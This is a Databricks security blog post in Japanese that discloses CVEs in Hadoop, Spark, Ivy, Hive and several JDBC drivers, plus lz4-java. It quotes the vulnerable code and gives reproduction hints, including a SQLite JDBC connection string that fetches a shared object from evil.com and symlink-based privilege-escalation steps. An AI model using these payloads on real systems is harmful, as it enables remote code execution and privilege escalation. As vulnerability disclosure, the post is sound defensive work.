メインコンテンツへジャンプ

Databricksのオープンソースセキュリティ強化!

Neil Archibald
Kostya Kortchinsky
ハムザ・タミ
Share this post

Databricksの製品セキュリティチームは、その製品のセキュリティと完全性を確保することに深く取り組んでいます。これらの製品は、さまざまなオープンソースプロジェクトの上に構築され、それらと統合されています。これらのオープンソースの基盤の重要性を認識し、チームはこれらのプロジェクトのセキュリティに積極的に貢献し、その結果、Databricks製品とオープンソースエコシステム全体のセキュリティ姿勢を向上させています。このコミットメントは、脆弱性の特定と報告、パッチの提供、オープンソースプロジェクトのセキュリティレビューと監査への参加など、いくつかの主要な活動を通じて具体化されています。これにより、Databricksは自社の製品を保護するだけでなく、依存しているオープンソースプロジェクトのレジリエンスとセキュリティを支援します。

このブログでは、チームが発見したいくつかの脆弱性の技術的詳細を概説します。

CVE-2022-26612: Hadoop FileUtil unTarUsingTarシェルコマンドインジェクションの脆弱性

Apache Hadoop Common は、ユーザーがアーカイブを解凍するためのAPIを提供しています。これは、 tar Unixツールを使用してコマンドラインを構築し、それを実行します。問題は、ユーザーの制御下にある可能性のあるアーカイブへのパスが、一部の状況で適切にエスケープされていないということです。これにより、悪意のあるユーザーがアーカイブ名に自分のコマンドを注入し、たとえばシェルのメタ文字を使用することが可能になります。

脆弱なコードはここで見つけることができます。

java(Auto-detected)
untarCommand.append("cd '")
     .append(FileUtil.makeSecureShellPath(untarDir))
     .append("' && ")
     .append("tar -xf ");

if (gzipped) {
  untarCommand.append(" -)");
} else {
  untarCommand.append(FileUtil.makeSecureShellPath(inFile)); // <== シングルクォートではありません!
}
String[] shellCmd = { "bash", "-c", untarCommand.toString() };
ShellCommandExecutor shexec = new ShellCommandExecutor(shellCmd);
shexec.execute();

注意してください、makeSecureShellPathはシングルクォートをエスケープするだけで、追加はしません。Hadoop自体に対する問題の影響については議論がありましたが、公開APIであるため、最終的には修正が必要とされました。Databricksは、unpackのSparkコードが脆弱なコードを利用していたため、この問題の修正に取り組みました。

CVE-2022-33891: Apache Spark™ UIシェルコマンドインジェクション脆弱性

Apache Spark™は、指定されたユーザー名を、そのユーザーが所属するグループのセットにマッピングするためのAPIを使用しています。 実装の一つにShellBasedGroupsMappingProviderがあり、これはUnixのidコマンドを利用しています。 関数に渡されたユーザー名が適切にエスケープされずにコマンドに追加されたため、任意のコマンドインジェクションが可能になる可能性があります。

脆弱性のあるコードはここで見つけることができます。 

python(Auto-detected)
  // ユーザーグループを取得するために"bash -c id -Gn username"をシェルアウトします
  private def getUnixGroups(username: String): Set[String] = {
    val cmdSeq = Seq("bash", "-c", "id -Gn " + username)  // <== 潜在的なコマンドインジェクション!
    // コマンド実行の結果から末尾の"\n"を取り除く必要があります
    Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
  }

このプロバイダが信頼できないユーザー入力で到達できるかどうかを確認する必要がありました。そして、以下のパスを見つけました:

  1. ShellBasedGroupsMappingProvider.getGroups
  2. Utils.getCurrentUserGroups
  3. SecurityManager.isUserInACL
  4. SecurityManager.checkUIViewPermissions
  5. HttpSecurityFilter.doFilter

皮肉なことに、Spark UIのHTTPセキュリティフィルタは、そのコードを doAs クエリパラメータを介して到達させる可能性があります( ここを参照 )。幸いなことに、 isUserInACL のいくつかのチェックにより、この脆弱性がデフォルトの設定でトリガー可能になることは防がれました。

CVE-2022-37865: Apache Ivy “zip slip

Apache Ivyは、アーティファクトをその場で解凍することを可能にするパッケージング属性をサポートしています。Zipの解凍を行うために使用される関数は、Zipエントリ名中の“../”をチェックせず、ディレクトリトラバーサル型の攻撃、別名“zip slip”を可能にしていました。

脆弱なコードはここで見つけることができます。

java(Auto-detected)
while (((entry = zip.getNextEntry())!= null)) {
    File f = new File(dest, entry.getName());  // <== エントリーの名前に対するチェックはありません!
    Message.verbose("\t\t拡張中 " + entry.getName() + " から " + f);
    // 中間ディレクトリを作成 - zipはそれらを追加しないことがあります
    File dirF = f.getParentFile();
    if (dirF != null) {
        dirF.mkdirs();
    }
    if (entry.isDirectory()) {
        f.mkdirs();
    } else {
        writeFile(zip, f);
    }
    f.setLastModified(entry.getTime());
}

これにより、Ivyに悪意のあるモジュールディスクリプタを供給する能力を持つユーザーが、ローカルのダウンロードキャッシュの外にファイルを書き込むことが可能になるかもしれません。

CVE-2023-32697: SQLite JDBCドライバのリモートコード実行

SQLiteのJDBCドライバは、jdbc:sqlite::resourceenable_load_extensionオプションを使用してリモートデータベースファイルをロードする際の予測可能な一時ファイル名により、リモート拡張機能をロードするように設定することができます。これらのオプションは拡張機能のロードを有効にします。

主な問題は、 hashCode メソッドを使用して一時的な名前を生成することで、 hashCode は同じ文字列に対して同じ出力を生成するため、攻撃者は出力を予測し、したがってダウンロードファイルの場所を予測することができます。

脆弱なコードはここで見つけることができます。

java(Auto-detected)
String tempFolder = new File(System.getProperty("java.io.tmpdir")).getAbsolutePath();
String dbFileName = String.format("sqlite-jdbc-tmp-%d.db", resourceAddr.hashCode()); // <== 予測可能な一時ファイル
File dbFile = new File(tempFolder, dbFileName);

問題は一度でトリガーできますが、簡単のためにここでは分解して説明します: 

以下の接続文字列を使用します:jdbc:sqlite::resource:http://evil.com/evil.so?enable_load_extension=true

これにより、.soファイルが/tmpフォルダの予測可能な場所にダウンロードされ、後で以下のようにロードすることができます:select load_extension('/tmp/sqlite-jdbc-tmp-{NUMBER}.db')

CVE-2023-35701: Apache Hive JDBCドライバー任意のコマンド実行

pyn3rd などの人々の働きにより、近年、JDBCドライバの検討が増えています。彼らは世界中のセキュリティ会議で“Make JDBC Attack Brilliant Again”という作品を発表しました。この問題は彼らの作品の副産物であり、彼らが Snowflake JDBCドライバ で報告した別の問題と非常に似ています。

問題の核心は、openBrowserWindow関数にあり、その関数はここで見つけることができます。

//デスクトップはサポートされていません、ブラウザプロセスを開くことを試みましょう
OsType os = getOperatingSystem();
switch (os) {
  case WINDOWS:
    Runtime.getRuntime()
        .exec("rundll32 url.dll,FileProtocolHandler " + ssoUri.toString());
    break;
  case MAC:
    Runtime.getRuntime().exec("open " + ssoUri.toString());
    break;
  case LINUX:
    Runtime.getRuntime().exec("xdg-open " + ssoUri.toString());
    break;

この関数は、信頼できないソースから提供される可能性のあるリダイレクトURIに基づいてコマンドを実行します。

問題をトリガーするためには、以下のような接続文字列を指定できます: jdbc:hive2://URL/default;auth=browser;transportMode=http;httpPath=jdbc;ssl=trueこれは、ブラウザ認証メカニズムを使用し、302を返し、Locationヘッダー(およびX-Hive-Client-Identifier)を指定するエンドポイントを使用します。これにより、不具合のある動作が引き起こされます。攻撃者が作成したコマンドラインに対する自由度を制限するのは、ssoURIがJava URIであるという事実です。

CVE-2024-23945: Apache Spark™とHive Thrift Serverのクッキー検証バイパス

SparkのThriftHttpServletは、ユーザーを認証する方法としてクッキーを受け入れるように設定することができます。これはhive.server2.thrift.http.cookie.auth.enabledという設定オプションによって制御されています(このオプションのデフォルト値はプロジェクトによりますが、一部のプロジェクトではtrueに設定されています)。validateCookieという関数がそれを検証するために使用され、最終的にはCookieSigner.verifyAndExtractが呼び出されます。問題は、検証に失敗した場合には例外が発生し、受け取った署名と期待される有効な署名の両方が返され、ユーザーがその有効な署名を使用して再度リクエストを送信することができるという事実にあります。

脆弱なコードはここで見つけることができます。

java(Auto-detected)
if (!MessageDigest.isEqual(originalSignature.getBytes(),currentSignature.getBytes())) {
  throw new IllegalArgumentException("Invalid sign, original = " + originalSignature +
    " current = " + currentSignature);  // <== output the actual expected signature!
}

クライアントに返される例の出力:

java.lang.IllegalArgumentException: 無効な署名、元 = AAAA 現在 = OoWtbzoNldPiaNNNQ9UTpHI5Ii7PkPGZ+/3Fiv++GO8=
    at org.apache.hive.service.CookieSigner.verifyAndExtract(CookieSigner.java:84)
    at org.apache.hive.service.cli.thrift.ThriftHttpServlet.getClientNameFromCookie(ThriftHttpServlet.java:226)
    at org.apache.hive.service.cli.thrift.ThriftHttpServlet.validateCookie(ThriftHttpServlet.java:282)
    at org.apache.hive.service.cli.thrift.ThriftHttpServlet.doPost(ThriftHttpServlet.java:127)

Apache HiveとApache Spark™の両方がこれに対して脆弱であり、以下のPRで修正されました:

この問題が修正されて公開されるまでのタイムラインは、オープンソースプロジェクトに脆弱性を報告する際の困難さをいくつか示しています:

  • 2023年5月16日: [email protected]に報告しました
  • 2023年5月17日: 確認済み
  • 2023年6月9日:ケースの更新を要求しました
  • 2023年6月12日: これがセキュリティ問題である可能性があるとの返答
  • 2023年10月16日:ケースの更新を要求しました
  • 2023年10月17日:Sparkにパッチを適用することができますが、Hive側の状況は不明です
  • 2023年11月6日: ケースの更新を要求しました
  • 2023年12月4日: HiveとSparkで公開修正された問題に気づき、ケースの更新を要求しました
  • 2024年2月7日: ケースの更新を要求しました
  • 2024年2月23日: Spark 3.5.1のリリース
  • 2024年3月5日:ケースの更新を要求しました
  • 2024年3月20日: これがSpark側でCVE-2024-23945に割り当てられたと返信
  • 2024年3月29日: Hive 4.0.0のリリース
  • 2024年4月19日:問題の詳細を公開することを発表しました。Apache PMCからの更新がほとんどないか全くないため、1年以上経過しています。

Redshift JDBC Arbitrary File Append

AmazonのRedshift用JDBCドライバは、Java Platform, Enterprise Editionで提供される標準的なJDBC APIを使用してデータベース接続を可能にするType 4のJDBCドライバです。このドライバは、Javaアプリケーション、アプリケーションサーバー、またはJava対応アプレットがRedshiftにアクセスすることを可能にします。

JDBCドライバが特権境界を超えて拡張されると、攻撃者はRedshift JDBCドライバのログ機能を使用して、ファイルシステム上の任意のファイルに部分的に制御されたログ内容を追加することができます。内容には改行/任意の文字が含まれ、特権を昇格させるために使用することができます。

接続URLでは、"LogPath"変数を使用してログファイルを保存するパスを指定することができます。

これにより、"redshift_jdbc_connection_XX.logというファイルが生成され、XXはディレクトリ内の連番で、ログエントリは期待通りにファイルに書き込まれます。これらのファイルを作成する際、シンボリックリンクは認識され、ログの内容はリンクのターゲットに書き込まれます。

制御されたディレクトリを使用し、重要なファイルへのシンボリックリンクを作成することで、私たちの環境のユーザーは任意のroot所有のファイルへの制御された書き込みを得て、システム上の特権を昇格させることができます。

Redshift JDBCのログファイル処理のソースコードは、以下のリポジトリで利用可能です:https://github.com/aws/amazon-redshift-jdbc-driver/blame/33e046e1ccef43517fe4deb96f38cc5ac2bc73d1/src/main/java/com/amazon/redshift/logger/LogFileHandler.java#L225

これを再現するには、tmp内にディレクトリを作成することができます。例えば、"/tmp/logging"というディレクトリです。このディレクトリ内に、ユーザーはredshift_jdbc_connection_XX.logというパターンに一致するファイル名のシンボリックリンクを作成する必要があります。ここで、ログファイルはRedshift JDBCコネクタが使用されるたびに増加します。

これらのシンボリックリンクは、追加したいファイルを指す必要があります。その後、攻撃者はRedshift JDBCコネクタの使用をトリガーし、シンボリックリンクをたどってファイルに追加することができます。

LZ4 Javaの任意のファイル書き込み権限昇格

これはlz4-javaライブラリ(lz4ライブラリのJavaラッパー)で、コンパイルされたライブラリがディスクにドロップされるときに発生するファイルベースの競争条件の脆弱性が含まれています。SparkやHadoopのような大規模なJavaアプリケーションはこのライブラリを大量に使用しています。

以下のコードはこの脆弱性を示しています:

java(Auto-detected)
File tempLib = null;
File tempLibLock = null;
try {
  // .lckを作成します ファイルを最初に作成することで、lz4-javaを使用する他の同時に実行されるJavaプロセスとの競合状態を避けます。
  tempLibLock = File.createTempFile("liblz4-java-", "." + os().libExtension + ".lck");
  tempLib = new File(tempLibLock.getAbsolutePath().replaceFirst(".lck$", ""));
  // tempLibにコピーします
  try (FileOutputStream out = new FileOutputStream(tempLib)) {
    byte[] buf = new byte[4096];
    while (true) {
    int read = is.read(buf);
    if (read == -1) {
      break;
    }
    out.write(buf, 0, read);
  }
}
System.load(tempLib.getAbsolutePath());

このコードは、jarファイル内に格納されている.soを一時ディレクトリに書き出してから読み込み、実行します。createTempFile関数は、衝突を避けるために一意のパスを生成するために使用されます。ファイルをディスクに書き込む前に、開発者は他のプロセスがライブラリを使用するのを防ぐためと思われる目的で、ファイルのバリアントバージョンを.lck拡張子で作成します。しかし、この.lckファイルは、ディレクトリを監視する攻撃者が.lckの作成からファイル名を受け取り、ファイルシステムの任意の場所を指すシンボリックリンクを作成する試みをレースすることを可能にします。

これには二つの意味があります。まず、攻撃者はこの.soの内容でシステム上の任意のファイルを上書きすることができます。file. これにより、特権を持たない攻撃者がroot所有のファイルを上書きすることが可能になるかもしれません。二つ目に、シンボリックリンクは書き込みとロードの間で置き換えることができ、攻撃者がrootとして提供するカスタム共有オブジェクトをロードすることを可能にします。このライブラリが特権境界を越えて使用される場合、攻撃者に高い特権レベルでのコード実行を許可する可能性があります。

まとめ

Databricksでは、私たちが利用するオープンソースソフトウェアのセキュリティを強化することは共同の努力であると認識しています。私たちは、自社の貢献と依存関係のセキュリティを積極的に改善し、コミュニティ内での協力を促進し、システムを保護するためのベストプラクティスを実装することに取り組んでいます。セキュリティを優先し、透明性を推進することで、私たちはすべての人々のためのより強固なオープンソース環境を作り出すことを目指しています。Databricksのセキュリティについては、私たちのセキュリティと信頼センターで詳しく知ることができます。

Databricks 無料トライアル

関連記事

GGML GGUF ファイルフォーマットの脆弱性

March 22, 2024 Neil Archibald による投稿 in
GGUFファイルフォーマット は、GGMLライブラリのモデル重みの保存と読み込みに使用されるバイナリファイルフォーマットです。 ライブラリのドキュメントには、以下のような形式が記述されています: "GGUFは、GGMLによる推論のためのモデルや、GGMLに基づく実行形式を保存するためのファイルフォーマットです。 GGUFは、モデルの読み込みと保存を高速化し、読みやすくするために設計されたバイナリフォーマットです。 モデルは伝統的にPyTorchや他のフレームワークを使用して開発され、GGMLで使用するためにGGUFに変換されます。" GGUF フォーマットは、学習済みの機械学習モデルを配布するために最近普及しており、低レベルのコンテキストからモデルを利用する際に、Llama-2で最も一般的に使用されるフォーマットの1つとなっています。 llama.cpp、pythonの llm モジュール、Huggingfaceのようなggufファイルをロードするときの ctransformers ライブラリなど、このローダーに

Databricks Data Intelligence Platformのためのセキュリティベストプラクティス

Databricksでは、データが最も価値のある資産の一つであることを理解しています。当社の製品とセキュリティチームは協力して、セキュリティリスクに対抗し、コンプライアンスの義務を満たすことができるエンタープライズグレードの データインテリジェンスプラットフォーム を提供します。過去1年間で、 Azure Private Link for Databricks SQL Serverless によるデータアクセスの保護、 Azure firewall support for Workspace storage によるデータのプライバシー保護、 Azure confidential computing による使用中のデータ保護、 FedRAMP...

Databricks AIセキュリティフレームワーク(DASF)の紹介

Databricks AI Security Framework(DASF)バージョン1.0 のホワイトペーパーを発表できることを嬉しく思います! このフレームワークは、ビジネス、IT、データ、AI、セキュリティの各グループのチームワークを向上させるように設計されています。 本書は、実際の攻撃観察に基づくAIセキュリティリスクの知識ベースをカタログ化することで、AIとMLの概念を簡素化し、AIセキュリティに対する徹底的な防御アプローチを提供するとともに、すぐに適用できる実践的なアドバイスを提供します。 機械学習(ML)と生成AI(GenAI)は、イノベーション、競争力、従業員の生産性を高めることで、仕事の未来を変革します。 しかし、企業は人工知能(AI)技術を活用してビジネスチャンスを得ると同時に、データ漏洩や法規制の不遵守など、潜在的なセキュリティおよびプライバシーリスクを管理するという二重の課題に取り組んでいます。 このブログでは、DASFの概要、組織のAIイニシアチブを保護するためにDASFを活用する方法、
プラットフォームブログ一覧へ